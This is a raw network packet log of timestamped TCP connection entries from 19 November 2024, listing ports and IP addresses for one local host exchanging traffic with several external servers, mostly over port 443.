Nov 19, 2024 20:05:44.015904903 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.015912056 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.018651962 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.018914938 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.018925905 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.022548914 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.024909973 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.024916887 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.026132107 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.027913094 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.027918100 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.030092955 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.030915976 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.030920982 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.033144951 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.033196926 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.033201933 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.036910057 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.037014008 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.037019014 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.040255070 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.043664932 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.043700933 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.043735981 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.043741941 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.043760061 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.047239065 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.048912048 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.048917055 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.050765991 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.052550077 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.052555084 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.054389000 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.054440022 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.054445028 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.057734966 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.057841063 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.057846069 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.061306000 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.061352968 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.061357975 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.064770937 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.064836025 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.064840078 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.068048954 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.068058968 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:44.068103075 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.068108082 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.068125963 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:44.068270922 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:44.070030928 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:44.070045948 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:44.070339918 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:44.070344925 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:44.071649075 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.071692944 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.071696997 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.075037956 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.075093031 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.075097084 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.078680992 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.078738928 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.078742981 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.082046032 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.082093000 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.082103014 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.082216978 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.082218885 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.082221985 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.082662106 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.082690001 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.082916021 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.083435059 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.083445072 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.083472967 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.083498001 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.085540056 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.085589886 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.085594893 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.088874102 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.089005947 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.089010000 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.092231035 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.092278004 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.092283010 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.095474005 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.095524073 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.095527887 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.098573923 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.098648071 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.098651886 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.101803064 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.101830959 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.102006912 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.102013111 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.102109909 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.104818106 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.105016947 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.105371952 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.105427027 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.105524063 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.105535030 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.190536976 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.190565109 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.190735102 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.190766096 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.190819979 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.190831900 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.191742897 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.191762924 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.191935062 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.191945076 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.374891996 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.389611959 CET	52480	443	192.168.2.7	104.70.121.25
Nov 19, 2024 20:05:44.389641047 CET	443	52480	104.70.121.25	192.168.2.7
Nov 19, 2024 20:05:44.389683962 CET	52480	443	192.168.2.7	104.70.121.25
Nov 19, 2024 20:05:44.390127897 CET	52481	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:44.390161037 CET	443	52481	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:44.390389919 CET	52481	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:44.391000986 CET	52480	443	192.168.2.7	104.70.121.25
Nov 19, 2024 20:05:44.391010046 CET	443	52480	104.70.121.25	192.168.2.7
Nov 19, 2024 20:05:44.391146898 CET	52481	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:44.391161919 CET	443	52481	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:44.392158985 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.392179012 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.392690897 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.392694950 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.423425913 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.428565979 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.444880962 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.464096069 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.464122057 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.464543104 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.464550018 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.464795113 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.464799881 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.464838982 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.465164900 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.465172052 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.465367079 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.465392113 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.465703964 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.465708971 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.467235088 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.467247009 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.468280077 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.468286037 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.491056919 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.491528034 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.491724968 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.491770983 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.491770983 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.491782904 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.491786957 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.496457100 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.496478081 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.496539116 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.498065948 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.498075008 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.516660929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:44.516818047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:44.548978090 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.550465107 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.550476074 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.551450014 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.552098036 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.552170038 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.564640045 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.565040112 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.565481901 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.565532923 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.565644979 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.565656900 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.565980911 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.566607952 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.566665888 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.568996906 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.569154024 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.569190025 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.569194078 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.569232941 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.569808006 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.570082903 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.570135117 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.571142912 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.571835041 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.571875095 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.571893930 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.571903944 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.572422981 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.572441101 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.572458029 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.572463036 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.573087931 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.573137045 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.575650930 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.575655937 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.575747967 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.575767040 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.575779915 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.575786114 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.581476927 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.581511974 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.581569910 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.583125114 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.583151102 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.583201885 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.583442926 CET	52483	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.583457947 CET	443	52483	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.585480928 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.585496902 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.585545063 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.586041927 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.586051941 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.586138964 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.586148977 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.586189032 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.586334944 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.586344957 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.586798906 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:44.586812019 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:44.661715984 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.662421942 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.662453890 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.663527966 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.663588047 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.664254904 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.664340973 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.664802074 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.665093899 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.665122986 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.666161060 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.666214943 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.666670084 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.666763067 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.677295923 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.677313089 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.784296036 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.784323931 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.784548998 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.784565926 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:44.987411976 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:44.987483978 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.029716969 CET	52480	443	192.168.2.7	104.70.121.25
Nov 19, 2024 20:05:45.029958963 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030054092 CET	443	52473	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:45.030107021 CET	52473	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030253887 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030276060 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030306101 CET	443	52474	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:45.030313969 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030332088 CET	443	52476	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:45.030363083 CET	52474	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030380011 CET	52476	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030400038 CET	443	52475	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:45.030447960 CET	52475	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:45.030580044 CET	52481	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.030817986 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:45.030953884 CET	443	52438	13.32.110.104	192.168.2.7
Nov 19, 2024 20:05:45.031040907 CET	52438	443	192.168.2.7	13.32.110.104
Nov 19, 2024 20:05:45.031653881 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.031691074 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.031773090 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.033180952 CET	52487	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.033198118 CET	443	52487	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.071383953 CET	443	52480	104.70.121.25	192.168.2.7
Nov 19, 2024 20:05:45.075345993 CET	443	52481	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.153125048 CET	443	52480	104.70.121.25	192.168.2.7
Nov 19, 2024 20:05:45.153183937 CET	52480	443	192.168.2.7	104.70.121.25
Nov 19, 2024 20:05:45.158828020 CET	443	52481	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.158921003 CET	52481	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.158934116 CET	443	52481	152.195.19.97	192.168.2.7
Nov 19, 2024 20:05:45.159009933 CET	52481	443	192.168.2.7	152.195.19.97
Nov 19, 2024 20:05:45.212732077 CET	52491	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.212779999 CET	443	52491	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.212846994 CET	52491	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.213241100 CET	52492	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.213274002 CET	443	52492	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.213584900 CET	52492	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.235364914 CET	52491	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.235398054 CET	443	52491	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.241667032 CET	52492	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:45.241698980 CET	443	52492	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:45.261387110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:45.266225100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:45.338483095 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.339818001 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.346282005 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.349119902 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.360287905 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.360302925 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.360837936 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.360843897 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.361335039 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.361347914 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.361743927 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.361749887 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.364131927 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.364156008 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.364553928 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.364558935 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.364814997 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.364850044 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.365178108 CET	52482	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.365185976 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.456022024 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.456254959 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.456332922 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.456542969 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.456561089 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.456572056 CET	52486	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.456578016 CET	443	52486	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.457839966 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.458049059 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.458101034 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.458122969 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.458158016 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.458275080 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.458280087 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.458288908 CET	52484	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.458292007 CET	443	52484	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.459436893 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.459475040 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.460541010 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.460541010 CET	52493	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.460552931 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.460575104 CET	443	52493	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.460592985 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.460767984 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.460767984 CET	52494	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.460798979 CET	443	52494	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.463978052 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.464385986 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.464448929 CET	443	52482	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.464567900 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.464622974 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.464638948 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.464648008 CET	52485	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:45.464653969 CET	443	52485	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:45.464767933 CET	443	52482	13.107.246.45	192.168.2.7
